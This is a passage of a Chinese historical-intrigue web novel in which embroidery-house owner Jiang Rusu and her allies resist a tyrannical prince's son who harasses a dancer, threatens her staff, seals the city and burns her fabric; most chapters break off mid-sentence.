无素绣楼出名的时间算来也不过半年,但岌岌无名里的半年也同样难熬。也全靠着秋水堂的生意撑了下来,这些年也没少照顾过绣楼的生意。 “看来我得先去处理生意了,卜榆不如四处逛逛,我这后院打理的不错。” “你先去忙,我就在这儿待会儿就好。” “这是新买的雨前龙井。”晏行丘斟茶很急,将杯子放置时与桌面甚至磕碰出了声音,“袁公子慢用。我得去帮忙了。” 晏行丘说着就退出了屋子,顺带着带上了门。 绣楼二楼里已经候着人,来人是个姑娘,穿着便服。 “温姑娘。” “姜姑娘”女人朝她回了一礼,行事也是干练,直接点明了今日来的目的,“严先生今年想邀姑娘做的是,烟雨青山半透纱帘。” “那可还有旁的要求?也是照着往年屏风的尺寸来绣?”秋水堂几乎不定制绣帕上衣这些小物件,这五年来,除开定制的披 12.世子 《白月光他又假死了》全本免费阅读 春香温软,一舞惊鸿。 便是郢州城最大的青楼,春香阁挂在门口的两块木牌。也是对应着春香阁的两大名人,花魁娘子阮茵茵和一舞惊鸿的温软。 春香阁平日门前总是人来人往,自从这世子进了门,便已经闭门谢客快两日了,从旁经过时还能听见里面不曾停歇的丝竹乐。 春香阁专门打造的舞台上,穿着一袭红衣舞裙的美人正翩翩起舞,赤脚在那舞台旋转,一个下腰将动作衔接的格外优美,落足时在舞台上击打出的声响同着鼓乐混合在一起。 舞乐相融,当真是应了一舞惊鸿。 赵永林嫌弃那舞台下的软椅用料下乘,那老鸨只能立马将阁中最为上等的丝绸被堆在那舞台前供他卧着。 阮茵茵在一侧捧着新鲜的葡萄和果酒,配合着鼓乐声伺候着赵永林。 “够了,今日到此为止吧。”赵永林起了身,挥开了阮茵茵递上酒盏的手,走到台前踱步到垂眸候在一侧的温软面前。 “温软,当真是如名字一般是个柔情的女子。”赵永林居高临下的瞧着行礼的女子,发丝如瀑,一身舞裙趁得她姿色更为出众。“不如,今日你伺候我怎么样?” “世子,温软是春香阁的清倌人,卖艺不卖身。”温软状似无意的将赵永林蹭着脸颊的手抚开。 赵永林到底在上京都是这副德行,那里能瞧不出来温软心里的想法,说着就想要去强扯着人走。 “世子,不可。”一旁的侍卫拦住了赵永林。“王爷吩咐过此行世子应当慎行,莫要再如京中那般放肆了。” “怎么本世子想做些什么?还需要你拦着?”赵永林显然不悦。“你只是我父亲身边的一条狗,管主子的事儿还轮不到你。” 赵永林虽然嘴上是这样说的,但还是松开了拉着温软的手。他此行来郢州却是不为享乐而来,前几日再京中犯了事儿,他也需要离京避避风头。 这一两月他可都在这郢州城里住着,有的是时间。 春香阁舞台后的后门开了,郢州城太守携着几个人前来,一进门身旁的人便默契的将手中带来的金银珠宝,吃食美酒都放在一侧。 “世子昨日夜里可睡得好?”太守宋闵殷勤的锤着赵永林的肩,毕竟是要看着上头风向做事的人,赵永林在上京打杀之事他已经听说了,但好歹是个世子就算受着处罚,是他这个太守所不能轻视的。 “睡得还行。”赵永林又卧回了那丝绸堆里。“宋太守治理有方啊。” “世子过誉了,郢州城外有一山庄,景色一绝。可观郢州山水,世子不如去哪里坐上一坐?”赵永林靠着这世子的身份,霸占这春香阁两日,也不曾说过给些银子的事儿。可关起门不做生意,这老鸨那里肯干,短短两日找他门前闹过不少次。 “宋太守这是打算赶我走?”赵永林轻笑。 “自然是不敢。” “既然宋太守如此盛情邀请,那本世子便却之不恭了。”赵永林将阮茵茵揽进怀里,笑着去吃那葡萄,却丝毫没有要起身的打算。 “那属下这就去为世子备下马车了?”宋闵朝着官服就打算先行退下去安排。 “宋太守莫急,明日我再动身。这郢州城甚美,本世子怎么能不观赏一番呢。这春香阁的酒相当不错,宋太守尝尝?”赵永林说着就接过阮茵茵递给他的酒盏,转手递给了宋闵。 那瓷盏边沿的青白花纹上,还沾着口脂,赵永林这分明不是赏酒,而是给他一个下马威。旁敲侧击的告诉他,他这个上京的浪子,如今在这郢州城便是万人之上。 宋闵端着酒盏喝也不是,不喝也不是。 “宋太守这是瞧不上本世子的赏酒?”赵永林不悦的将脚踩在宋闵的腿上。 “属下不敢,”宋闵低着头闷声将那酒一饮而尽。“不愧是世子赏赐,自是比寻常果酒更为香甜。” 赵永林似乎这时心情突然好了起来,爽朗的笑着,“宋太守当真是个不错的人,着手收拾明日的出行吧。” 郢州这几日气候突变,骤然的冷了下来。庄子毕竟在郢州山山腰上,虽说着不远,但这温差却是差不少,姜如素连着两日睡不好,加之似乎又开始有了要染风寒的征兆,还是又回了绣楼。 姜如素回去这一途中也是明白了袁卜榆的想法,那马车行于山间的时候,影影绰绰的瞧见更远的青山,在晨雾中就像是描于纸笔之间的山水画。 严先生的要求想来与众不同,绣制的东西都是满满的巧思,虽说工程量大,但也从未催促过工期。姜如素上次突然病倒之后,晏行丘说什么也不让她再留在庄子里,赶忙的回了绣楼。 姜如素刚回后院,便瞧见平日在铺面里的姑娘都在后院里呆着,在后院逛了一圈,也没瞧见程伯。点秋也没寻见,秀萍还依着往常在后院教习那些绣娘。 “秀萍,这是怎么回事?” “姑娘难道没觉得那里不对劲?”秀萍说着。 经她如此一提,姜如素方才回程的途中似乎也隐约觉得何处不对,她还同着晏行丘念叨着为什么平日在城南买花的那位姑娘今日没来。 那小姑娘可是每日都来,挑选着清晨才摘下来的花,新鲜的很,偶尔姜如素路过遇见了也会买两束装在屋子的花瓶里做些装饰。 “到底出了什么事情?” “姑娘那日,前脚刚走,次日郢州城便来了位世子。”汉朝的陛下有着几位兄弟,世子也算不得少,但若是能做到这般人人相避的便是只有一位。 “平阳王世子。”晏行丘接过话头。“赵永林。” 平阳王世子赵永林,上京风评最为不好的世家子弟,好色贪婪都不足以描述完他所有的恶行,蛮横骄纵目无王法。往日上京还可能念及天子脚下,有所收敛,如今来了这郢州城怕是麻烦不小。 “这平阳王世子是何许人?怎么就好似瘟疫一般。”姜如素不解的盯着晏行丘,虽入汉地五年有余,但她也只听说过这位平阳王。 平阳王年少的时候曾于一次刺杀中营救下那是还是太子的陛下,因着这个救命之恩,平阳王早年没少做出过一些过分的事情,都被陛下睁一只眼闭一只眼给放了过去。可是说的次数多了,也就没了用处了。 平阳王世子前脚刚到郢州城,后脚他在上京的所作所为便像是一阵风,整个郢州城都知道了。他上月强抢民女不成,直接派人围了那小摊铺,上京街上硬生生将人逼死 13.赌注 《白月光他又假死了》全本免费阅读 日暮迟迟,不少人家家中都点起灯来,不少商贩已经收拾完铺子准备回家了,但郢州城也好夜市,故而也有着一批新的商贩背着包袱寻个常在的摊位,将要买的物件都摆弄出来。 花灯夜市,等影绰绰。赵永林是乘着马车出的春香阁,身后浩浩荡荡的还是跟了不少人,马车两侧跟着三四个奴仆,除开驾车的以外,还有一个侍卫也坐在车前。却不是方才在春香阁拦住他的那个侍卫。 夜市里人多,马车在摆满摊子的街道上不免慢了下来。赵永林闭着眼,可能还在回味软香在怀的感觉,却少见的没有生气。宋闵坐在一侧却不免背生寒意。 “前面那处是什么?”宋闵顺着赵永林身侧的小窗,顺着他说的地方看过去。 重重的屋檐之外有着一处高楼,夜幕四垂中点着灯,映照着整个楼都像是一个五彩的琉璃灯。那楼上似乎还瞧得见顶层处有不少色彩的布匹顺风而起,就像是织女们趁着风起,在那处一起起舞。 “那是无素绣楼。”宋闵答道。 “无素绣楼?听着不像是本地人啊。”无素二字在汉地也仅是能与朴素相关,但一个绣楼居然愿意取这样一个名字,当真是奇怪。若不是本地人,倒也说得清了。 “这无素绣楼是一位西羌人办的。”宋闵一五一十回答,但只提西羌,不提姜如素。 “西羌。”赵永林在嘴里不停的念叨着,似乎想到什么事儿,还冷笑着说不清是喜欢还是厌恶的叹了句,这西羌还真是人才辈出。“有趣。” 赵永林没打算同宋闵商榷,直接吩咐前面的侍卫吩咐马夫去那处。 无素绣楼门口两侧的柱子上皆是描绘上了无素绣楼最为核心的无素花。布帛似水般流淌而下,无素花跃然布帛之间,死板的定格在布匹上又生动的像是开在水中的花。 侍卫将马车前的帘子掀起,马夫早就下去牵着马,方才跟在后面的仆从这会儿都拥上前来,一个跪在马车前,另外的两人站直着身子,方便着赵永林扶住两人,踩着那人下车。 宋闵借着他下车的空当,推开马车的后门绕了下来,在一侧等着。 “劳烦宋太守带路了。”赵永林嘴上说的客气,脚下却直接抬步就往里走。 程伯见两人在门口的时候便已经做好了准备,赵永林和宋闵前后脚刚进门,他便迎了上去,先是朝着宋闵行了一礼。“这位就是世子吧,当真是风神俊朗。世子,太守里面请坐。” 一楼的铺子前早就收拾妥当,连桌椅摆放的位置都是少见端正。 “世子,太守请坐。” 赵永林倒是不急着坐下,绕着店面环顾了一圈,铺面的墙上也是装饰般的垂下了不少的布匹。绣样在其之上也确有门口那雕刻的韵味。 “这铺面当真不小啊,上京都少见几个这般的绣楼。” “多谢世子夸奖,世子可有喜欢的,草民愿献与世子。” “这绣楼创办于何年何月?怎么不见有绣娘?谁是老板?”赵永林直接略过程伯问宋闵。 “绣楼创办于景乾十二年夏,至今已有五年,这老板......” “我就是老板。”程伯站上前去,“世子有所不知,咱这绣楼同寻常的不一样,都是让那些绣娘在家中绣,绣好了送上门来的。这自然是瞧不见绣娘。” “是吗?”赵永林绕着一楼的铺面闲逛,随手拿起绣帕又扔下,“那这么大个铺面原来就只单单管这买卖生意的。” 这羌绣是西羌人特有的绣法,不少西羌女子自幼时便开始学习,婚嫁前由母亲或者是自己绣制一身嫁衣,是流淌于西羌女子手下的技艺。 “全六,你说若是我在这绣楼里搜出一个绣娘怎么办呢?”赵永林朝着那侍卫说着。 名为全六的侍卫,是赵永林自己养在身边的侍卫,最是明白赵永林的行事,便一字一顿朗声的说到,自然是都杀了。 若是旁的人说这句话,也仅仅可能是口头的威胁,但赵永林是完全做的出来的,这人之所以难以对付,便是手段狠裂。 赵永林盯着眼前的老头笑着说,“你觉得如何呢?” 程伯噤声不回答,这副样子更勾起来了赵永林的心中的恶趣味,“想必老人家后院还藏着几个美娇娘,若是我找到了,饶她们一命,让她们陪陪我如何?” 程伯抬眼对上宋闵的眼神,宋闵给了他一个稳住的申请,接过一侧的茶盏,“世子这趟怕是有些劳累了,不如喝口茶坐下歇歇。” 赵永林面上笑着颇为赞赏的接过茶喝了一口,确实不打算就此打住,直接吩咐了全六就往后院去。两侧的打手将全六的去路拦住。 全六伸手便是朝着命脉之处出手,都说两手难敌四拳,但这些打手到底是比不过皇家养在身边的侍卫,不多时便都败下阵来。 “看来,是不打算给我这位平阳王世子一点薄面了?”赵永林将平阳王世子几个字念的格外重。“这个绣楼幕后的那个西羌女人到底在哪里?” 全六扒出刀横架在程伯脖颈上,只要得不到顺心意的答案,赵永林只需要一个抬手一个眼神便能主宰他的生死。 “我不知道。我程老头就是地地道道的西羌人,世子怎么不信啊。”程伯立马说了几句羌语,大都是吉祥话。 全六见程伯的话题越跑越远,便将刀刃又往前挪了几分,脖子上立马就见了血。 “住手。”后院传来了一声如玉石之声般温润的声音。 来人眉眼低垂,身上似乎带着一分书生气,赵永林最是厌烦的便是这般。待他走近了,赵永林才瞧见这人脸上有着两道交错着的很是可怖的疤痕,其中一道甚至是顺着脸颊滑向脖颈处,顺着疤痕走向看去,在颈前也有着一道浅浅的疤痕。 他身后也跟着一个女人出来,女子的衣裙是粉的入红的颜色,衣领上绣着大抵是吉祥纹样。 姜如素的长相说起来也并没有额外的一些极为明显的羌人特征,只单在那汉人堆里却有着一种不同的感觉,赵永林分辨不出,但他知道眼前的这个约莫二十来岁的女人便当真是这绣楼的老板娘了。 “小女子不知,世子光临我绣楼是为那般?”姜如素穿着很是简单,只是将平日的盘发放了下来,用汉地的话说,显得格外的端庄。 “你叫什么名字?” “姜如素。” “姜如素。”赵永林那这名字在唇齿间回味了几次才说出口。“是个好名字,七年前你在何处?” “回世子话,小女七年前随师父隐世学医。” “何处学医?” “儋州 14.那就下毒咯 《白月光他又假死了》全本免费阅读 “你怎么就答应下来了。”晏行丘问着,一边用温水将脸上方才绘制的栩栩如生的疤痕给擦拭掉。 盆里的水都被洗的看不清是个什么颜色。 “我能不答应嘛?难不成你还有别的办法。”姜如素替他又拧了一块帕子递过去,晏行丘也不知是从那里拿的颜料,这会儿脸上瞧不出那痕迹了,倒是各式各样色彩混在一起,倒像是刚从泥里出来的模样,混着一个阴阳脸。逗得姜如素都忍不住笑了出来。 “没有,但肯定有办法的。”晏行丘闷声说着话,脸还埋在手帕中,姜如素听着他这句话,更像是小孩子口中一些不着边际的话。 “他不能把我怎么样。”姜如素回答道,她号称着师从文安散人,到底再怎么说也是个不可多得的“医学天才”,不出多日若是赵永林命悬一线,他自然舍不得杀她。 眼前如大花猫一般的人,姜如素还是忍不住问了出来,“你怎么今天偏要画成这样。” 晏行丘知道现在的模样肯定难看,见姜如素问也不敢抬头,只顾着低头将手帕洗的更勤了。“我...早些听兄长说过,一来,这平阳世子有龙阳之好,二来,兄长与他结仇我总的伪装一番。倒是你总不会给世子下毒了?” 他只随口一说,姜如素居然点头了。 “给世子下毒?你不要命了?”晏行丘像是一时乱了思绪,姜如素此举无异于是自寻死路。 她怎么能这样?她应当好好的活下去。 他还记得她说过,年底该开分店了。 “自然是我出的主意了。”袁卜榆端着盆清水进了屋子,瞧见他这模样也是忍俊不禁。尽管晏行丘已经将脸又擦拭了两次,但瞧着居然黑了一些。 “那你也不能让她犯险!”晏行丘看见是袁卜榆出的主意更没了好气。 “这不是还没呢?”袁卜榆说着也不急,朝着姜如素递了一个眼神,“点秋楼下找你呢。” “找我干嘛?我去看看。”姜如素说着就往外走。 两人眉眼间默契的眼神交递被晏行丘看的一清二楚,“我竟然不知道袁公子和如素何时如此亲密了。” “这不是显而易见的事儿?”袁卜榆从怀中摸出了一包叠着四四方方的药包,“这味药粉可以溶一下你脸上的颜料。” “不需要。” “如素说的对,你果真偶尔像个小孩子似的。你这样子也不知道谁家姑娘愿意看上你。”袁卜榆也不恼,倒也更随了他师父那副坦然自若的心态。 晏行丘虽然嘴上说着不信,但到底心里还是在意的,似乎为了证明袁卜榆说的都是无稽之谈,晏行丘又用着他新打的那盆水将脸洗了一遍。 但才动手他便察觉到了不对劲。 如今坐着的这人,样貌完全称得上是改头换面,分明依旧是单一个玉簪束着发,依旧是那身黯色的衣裳,却全然不同了,眉眼间的淡漠,就像是谪仙人。 分明是同一个人,这会儿成了拂去尘埃的明珠,前后乍一看判若两人。 “我果真没瞧错,你脸上当真动了手脚。” 假以药粉敷面,可暂改面容,儋州失传的一本药书上曾记载过。寻常人是未曾听说过这个,但这本失传的典籍其实就在文安散人的文安居中。 是了,姜如素在赵永林面前提及的文安散人,是袁卜榆的师父,他自然是知晓的。于是早就在水中也加了那味药粉,能将他脸上的一切清理的一干二净。 “不愧是袁神医。”铜镜放在一侧,晏行丘透过那镜子瞧着袁卜榆。 “你是晏临江?” “何以见得?” “我曾飞鸽问过郢州的好友,他托人给我带来了一幅画,是黄明轩的画作。”袁卜榆从袖中取出那副画作。 黄明轩早已病逝,那时郢州十二行刚建立那日,便是请他为十二人留作过一副画作,后又拓印了十二份,皆是以卷轴裱好各自珍藏。 袁卜榆展开的画作上,几人坐在前面的太师椅上,其余的便是站在那之后,最为年少的两人分立两侧,最为出众的那人便是晏行丘。 “我那位好友便是其中一位的后人,又为我拓印了一份,我没曾想你居然当真在其上。” 可分明传言都曾说,那十二行中的晏当家,为人粗莽,生的一脸凶相,可晏行丘若以真容示人,断是不会有这般相差颇多的传闻。 言语是最不设防的,没有任何一堵墙可以隔绝的,或许只寻常一提及,便将不知道的知道的全都交代了。 至今都未曾推翻,只有一个原因,他在遮掩自己的身份,一提及才貌双绝的少年,便能令人想到的,便是赵永林口中险些要揭穿的名字——晏临江。 那个名动天下的名字,轰动的出现却又销声匿迹于三年前。 晏行丘也并不指望袁卜榆会为他继续“回归”晏行丘做出任何扫尾举动,从床下的暗格里取出药粉便开始将面容又恢复了回去。 “若我说不是呢?”晏行丘面不改色,就像是说着一些无关紧要的话。 “你喜欢姜如素?你是为了如素来了郢州?你打算瞒她多久?”袁卜榆知道从这人嘴里得不到肯定的回答,但他知道晏行丘是在默认他的推测。 “是,至于旁的来日再说吧。”晏行丘承认的倒是坦荡,但晏临江三个字从三年前就该消失了。 “我还以为晏临江无所不能。”袁卜榆叹道,他从点秋哪儿问过晏行丘来绣楼的经历,曾险些成了丞相的少年权臣,险些死在路边。 这样的反差放在话本子里都会被人诟病的地步。 “可他今日不也被你坑了。” 两人心照不宣,默契的轻笑出声。 “赵永林怕是不会安生。” “他会干嘛?” “封城。” “针对你?” “怕是不止。”晏行丘手下的动作很是快,这会儿又恢复成了平日的模样,相较于方才多了平庸。 “那他是想干什么?你不是最了解他?” “封城算是轻的,怕就是怕到时候和绣楼合作的布 15.忍不住想他了? 《白月光他又假死了》全本免费阅读 郢州城封城了。 文秀萍是最先发现这一事情的人,早些趁着那些才入门的绣娘还没起,说着去书店给家里的孩子买两本书,女子虽不能考科举,但识字到底是好些。 分明是两日一逢的市集,今日街上却是静悄悄的,没有任何一个市集曾像这样,就连花神节前连续暴雨的那几日都未曾这般冷清。 “阿娘。”约莫六七岁的小女孩看着文秀萍刚迈入小铺子就高兴的跑了过来,这会儿时辰还早,这间小糕点铺子也就由着这小女孩出来逛逛。 “爹爹呢?”她轻声问着幼女,小女孩生在春日,夫妻二人便为她取名文春玉。 “爹爹在后院做糕点,可香呢。”春玉说着就拉着秀萍往屋子里走。 这间铺子很小,迈十步便能进后院,后院的一侧全做了火房,另一侧便是她们住宿的卧房。靠近火房一侧的院子外还摆着一个炉灶。这会儿正蒸着糕点,闻起来正如小女说的那般香甜。 蒸笼里冒出的热气里,男人穿的便服,腰间围着围裙,正在揉面做些其他的糕点。看见秀萍也没停下手上的活儿,瞧见女人手上的纸包,笑着问她。 “今天又给春玉买什么东西了?” “买了两本诗集。” “我晚些时候教她识识字。” 一家人都经营着一个小家,还有着不小的存银。文秀萍看着也是心底一片温暖。 “今早的市集怎么没人?” “封城了。”文孝风轻云淡的答道,“可能是那个世子不知哪根筋搭错了让封的城吧。” 文秀萍直觉有些不妙,昨日姜如素与那世子的赌注她是知道的,本来姜如素是不愿说的,后来点秋探出了些口风,她便也是知晓了。 封城,这是想逼着绣楼认输。 无素绣楼作为郢州城最为出名的绣楼,每日成交的单子,怕是要一两匹布料才能将其绣完,若是这封城两月,约莫百来匹布。 布料的消耗太大了,绣楼也没囤积多少,都是同合作的布庄说好的,每月送一次货,这般减少库房里积压的旧布料被老鼠给啃坏了,也防止被虫蛀了。也能防止有些布庄在大批布料中参杂次品。 可如今封城,别说与赵永林对赌的那绣品,在不动用绣楼如今的东西的情况下绣不出来,但是这生意也是一个难题。 封城会封多久,姜如素心里也没底,秀萍回绣楼告诉她封城这事儿的时候,她就已经思考了好些时候了。 总不可能一直耗下去,为了那赌注连生意都不做了?两个月,足够让郢州城不少事物都换新了。无素绣楼有不少的回头客和固定的客人,但姜如素不敢赌会有人能等上她两个月。 更何况,若是赵永林有意为难,无论最后她拿出的东西是好是坏,终究是逃不过一劫。 晏行丘也不知道去那里了,昨日夜里就瞧见隔壁的灯熄着。原是以为他早早歇下了,今日才知道不知道去那里了。 “还在发神呢?”袁卜榆用过早饭,便在后院溜达,说着后院有块地可肥了,拔了草种上前几日才从后山新挖的药材。说若是能种出一片,能省不少事情。 这会儿,才让姜如素瞧着人。 “晏行丘呢?昨夜他最后不是同你待在一处。” “他给你寻布匹去了。他说赵永林不让你用绣楼的,去给你外面找些回来。去的地方不远,明洲城。” “他这是料到今日了?” “或许吧?”袁卜榆似乎并不关心,还不忘逗一下姜如素,“怎么?你的小护卫才不在不到一天,你就忍不住想他了?” 姜如素淡淡的睨了他一眼,心想有病,果真都靠不住,还得靠自己。 午后便又不封城了。 无素绣楼正对着主街,午后一热闹起来,早些没能入城的那些贩子进了城,但是城防却又严了不少,不论携带的什么都需要打开包袱检查个仔细,就连买菜翁的菜筐都要被翻来覆去的瞧上一瞧。 守卫没说查什么,但依旧每一个都在查,但似乎也没扣留下什么。至于这些,只需要去街上一问便知。 合作的布庄送布料的日子还在半月之后,若是要让对方送货,得写些书信传过去才能让对方提前些时候送来,何时还会再封城姜如素不知道。 “不如,去庄子上取吧。”点秋提到,庄子的距离不远,偶尔姜如素还会过去小住上半月,故而其中的布匹撑这半月足足有余。“等到时候布庄送来,应该能撑到这个瘟神走。” 点秋说话没个轻重,这要是被听见,告到赵永林面前,免不了将她也给带走去那处享福的地方。 “我这会儿就起身去吧。”姜如素将方才出门听说的都整理了一遍,趁着赵永林反悔之前却是得去庄子上一趟。 “我去吧,姑娘,铺子里还是要您坐镇,不如我取庄子上取布匹来。”点秋斗志昂扬的说着。最近绣楼却是不比往日,赵永林说不准那天心情不好便又上门来。她暂时留下是为稳妥一些。 可是绣楼离庄子的距离并不远,往返两三个时辰足够了。但几乎都快抵着城门关闭的时候了,点秋都还没有回来。 姜如素心底还是有些慌,她从晏行丘口中大概听说过晏临江同赵永林之间的私人恩怨,越是位高权重之人,越是记仇,越是爱将人命玩弄于股掌。 他能因着晏行丘身为晏临江的兄弟而为难绣楼,也说不准会因此为难点秋。外面的天开始暗了下来,姜如素等不住了,说着就要出绣楼去城门瞧瞧。 才起身就看到了心里想着的人出现在了眼前。 点秋走进铺子,眼睛红的似乎都哭的有些肿了,嗓子也有些嘶哑的说不出话来,姜如素立马将快要脱力摔倒的点秋接住了。 “怎么了?他们欺负你了?”赵永林并不是一个好人,说不准守城那边的人就有他特意安排着来针对绣楼的也说不准。 姜如素担心的又将点秋浑身上下都瞧的仔细了,点秋在她怀中哭的难以自制。 “姑娘...他们将那些布匹都烧毁了,我根本拦不住。”那马车上运来的三十匹布料,约莫四十余两银子就在那火堆中顷刻间化为灰烬。 寻常绣娘得三年不吃不喝 16.是我 晏行丘 《白月光他又假死了》全本免费阅读 “平阳王世子...”屋子里女子的声音满是愤恨,但后半句迟迟落不下,她说出的话似乎也在惊醒着她,两息过后才听见那声音软了下来,满是委屈,“那他也不能让我不做生意啊。” “姑娘,别哭。”又有好几个姑娘齐声安慰着。 姜如素盘算了下现在的位置,就是锦绣楼的后巷。那埋怨的女子应当是锦绣楼的东家周予吟。她脚下的步子没停下,走的又快又轻。 耳边还能隐约听见周予吟在后院生气,说着这城门居然扣下了他们的布料不让进,还让不让人做生意了,说着寻死寻活的要去讨个说法,被楼里的姑娘门劝了又劝。 原来不止是针对她们。 或者是赵永林为了让姜如素走头无路,连布匹都没处去借,于是连带着连整个郢州城的成衣铺和绣楼都收到了波及。 郢州城能有些名头的铺子哪一家不是见过不少风雨,斗过不少同行,却依旧还能生意昌盛。苦心经营这些年居然还遇上这一遭。果真是皇权之下,一切都变得那般脆弱。 姜如素只想早些结束这一切。 离半月之约,还剩十二日。 山不过我,我自过山。没有人被困死的道理,只要寻得一丝生机,便总能翻盘。 过了锦绣楼的后巷,再绕过几个胡同就是城北了。 绣楼如今算是被困死了,早间相熟的肖家夫人偷偷的送来过几匹布,连带着点秋带回的布料,半月足足有余。 但她还得去庄子上,去找人相助,哪怕寻不到旁人,单巡回晏行丘在身侧,凭着景州晏家在汉地的名声也能达成僵持之局。 出城门前姜如素还特地请程伯去城外那些摊贩口中去问些城门看守的问题,程伯虽是羌人,但来郢州城约莫快二十年了,城外住的那些人家和他都是仅次于亲人的亲近。 除开城东外,郢州城有着三座城门,城南城北与城西。 城南的看守是最为严苛的,比及其余两座城门的看守,额外多了一位冷脸的大人。虽说不通情理,到也不算是不辨是非。 城南出城她心里最是没底,说不准那大人认出她便将她扣留下来,在某个杂房狱中关她半月可并不值当。所以她才不辞路远,特地走街串巷由城北出城。 城北的看守搜查也是仔细,但姜如素此行轻便也没带包裹,便直接将她放了出去。郢州山在城南,一出城北怕是还得绕上好大一圈,光是徒步怕是无稽之谈。 “姑娘这是要喝茶还是...”城北外二三十丈外的一个茶铺里的小二立马凑了上来。 “雇马车多少钱?”姜如素直接了当的问道。 “姑娘这是去哪?可需要车夫?”城外的茶铺能承担一些简单的车马雇佣,若是要车夫价格便是要更多上一番,毕竟铺面小,不少车夫还兼顾跑堂小二。 “是需要...”姜如素随着小二的步子往茶铺后的马厩去,余光却瞧见不远处的一个摊子前,一个男人瞧着这边。 “我看看马匹吧,雇一日上好的马匹多少钱?”姜如素站在那马匹后,借着查看,目光却是直直的盯着那人,那是个个子不高,穿着很是普通的男人,长相也是极为普通的模样,放在寻常的市集上,人一多就寻不见的程度。 “本店最好的马匹可有些贵,一日半两银子,可日行百里。”小二取出些稻草放在马前,任它吃个欢快。 因着遮挡,那人越发的明目张胆的看向这边,眼神很是凶狠,绝非是一般的随处看看,姜如素也打量的仔细些,那人腰间还别着一把短刃,右手叉腰时还忍不住摩挲着刀柄。 果真,出城不会太顺。 “就这匹了。”姜如素当机立断的拍板下来,将半两银子塞进小二的怀中,翻身上马就是一夹马腹,连人带顷刻间就已出去十丈远。 郢州城就好似建在群山之间一般,出城北就是朗月山。山路弯弯绕绕,姜如素瞥见,身后那人果真跟了上来。 虽说已经是茶铺里最好的马匹了,姜如素也说不准那小二口中的日行百里的快马是否为真,但身后的距离却越发的近了。 越往山上去,晨间的雾气更是浓厚,三丈外就瞧个模模糊糊的,只听得见耳边的马蹄声,硬顺着这条山路上山,她处于劣势,被追上只是时间问题。 山沟里雾气太重了。 男人只能凭着马蹄声确认没跟丢,马蹄声却很怪异的越来越近了。他还没来得及细想,从雾中就冲出了一匹马,险些同他撞上,马上的人却已经不见了。 他低声咒骂着也下了马,他是江湖上杀手帮里排行十四,故而大家都叫他十四,昨日有人给了他二十两银子说是若无素绣楼的东家一出城就给绑了送去那揽月山庄。 如今竟让这手无缚鸡之力的女人逃走了,他越想越觉得可恨。一侧下山的路虽然隔着雾气但凑近了看也知道是一个小断崖,另一处是往山上去的林子,那处的路倒是平坦了一些。 姜如素到底不怎么会武功,不出一会儿便被十四给寻到了身影。她没回头,但铺面落叶的地面上脚步声格外的清晰,身后男人伸手抓住她的肩,姜如素顺势侧身借着巧劲躲开。 借着巧劲从男人臂下躲开时,袖中的药粉也朝着男人的面门袭去。细碎的粉末被男人猛地吸进去,刺激着他被呛着不停的咳嗽。 姜如素借着这个机会,朝着一侧的树木后闪身躲了过去,手中布包着的石子顺着手劲儿落在另一侧,落叶飒飒的声音掩盖住了姜如素的脚步声。 落叶被踩碎的声音在耳侧响起,那人似乎并不知道姜如素的位置,为了试探她,脚步声忽近忽远。在原地打转,就等着她先闹出动静。 说时迟那时快。 姜如素听见几声尖锐的破空声,有一处朝着她而来,她正欲闪躲。一副温热的身子贴了上来,将她环抱着禁锢在怀中,一手环着她的身侧,一手将她的嘴捂住。 姜如素正想反手一个肘 17.上京临江 郢州秋水 《白月光他又假死了》全本免费阅读 早间出城的时候早,虽绕了路,但依旧赶在午时到了庄子上。 平日姜如素不在庄子上,那些洒扫的下人和厨娘也就早早的吃完饭,或午睡或乘凉去了。也有好些婶娘会寻个就近的空地,开荒出来种些新鲜的蔬菜或者栽几棵果树。来年就可以吃到些自家种的新鲜瓜果了。 两人自回来的路上就寻个路边的铺子吃了午餐回的,也没有必要在惊扰旁人。但拜会自然得重新整理衣容,左右梳洗簪发也不过是顺手的事儿。可晏行丘并不这样觉得,死犟着说要给姜如素梳发。 早间两人没搭上几句话,这会儿冷静下来了倒是有不少的问题了。 “我听卜榆说,你不是去明洲城去问问平日经常合作的那几家布庄去了?” “是啊,不过我还是去迟了,那几家布庄的老板都被买通了。” “买通了?”姜如素有一点诧异,侧头时倒是钩住了头发,扯得她倒吸了一口气,她早猜想到的。 晏行丘因着这一声有些手足无措,将手上的动作放的更轻了。 “也都怪我。” 姜如素并不打算怪他,毕竟她一个毫无靠山的绣楼东家和一个远离世家庇护的公子哥,再怎么斗终究还是在世子二字前显得格外的力微。 “你远在明州,今天怎么就正好回来了?” “我昨日收到了点秋的书信。” “怎么....回来就好。”姜如素不知道该怎么出口,晏行丘鄞州假名商的事儿她是知道,她也知道这人或许有事瞒着她。 刨根问底就一定是对两人都是最好的结果?他们有了心事,或者早从一开始就各怀心事。 晏行丘知道她想问什么,但他答不了。 说什么?晏行丘不知道,是像往日一般装傻说着自己如何聪明的在荒郊野岭“巧遇”姜如素,“恰好”的在浓雾中在那一刻救下她? 他选择了缄默。将她所有的发丝都拢了起来,后颈处有一缕不同寻常发丝的触感,晏行丘以为是头发打结了,说要梳开,才发觉是辫子。 是长生辫。 他突然想到了曾听说过的西羌的传闻,祭司一脉曾有批文,若离族群,七年不还,一生飘零。 “有后半句吗?” “什么?”姜如素被问的满头雾水。 “西羌的批文。” “早逝于盛年,命终于他乡。”姜如素缓声说到,就好似身死他乡,死于盛年都是于意料之内。 倒是晏行丘的手顿了顿,他将动作放的很轻,口中念叨着不会的,将发丝一梳到底。 会长命百岁的。 “你出城不是为了找人帮忙,心里有想法了?” “有,只是怕得叨扰严先生了。” 姜如素本是不想去麻烦那位的,她不怎么关心江湖与朝堂,只听说过那位名叫严秋水的秋水堂堂主在江湖上有着举足轻重的地位。旁的她也并不在意了,毕竟也仅仅是作为主顾之间的关系。 晏行丘知道的多一些,就同她一点点的述说着,将秋水堂的过往娓娓道来。 秋水堂在江湖上出现的日子追溯起来可以追溯到十年前,汉地地大物博,难免因消息闭塞误了不少的事。秋水堂最先是做消息买卖的。 十年前郢州城曾遇到过一次灾荒,上报朝廷往返时日所需太多,求助临近城池又各自因流民的事儿焦头烂额。 那位太守另辟蹊径来寻秋水堂闻讯晏先生的看法,毕竟一个汇天下事态于一堂的人想必也不是等闲之辈,严先生也是有问必答,太守恍然大悟,回城后不出一月便将其稳定下来,又不超半月便还给了百姓安居的生活。 秋水堂以此闻名,那位太守也因此升官。 可严先生并无心参与朝政,上门拜访之人一应谢绝。有不少官至三品的人也来相见,但也都被拒之门外。或许那些人采取过强硬手段,但秋水堂在这之前就在江湖上有着不少的仰慕者。 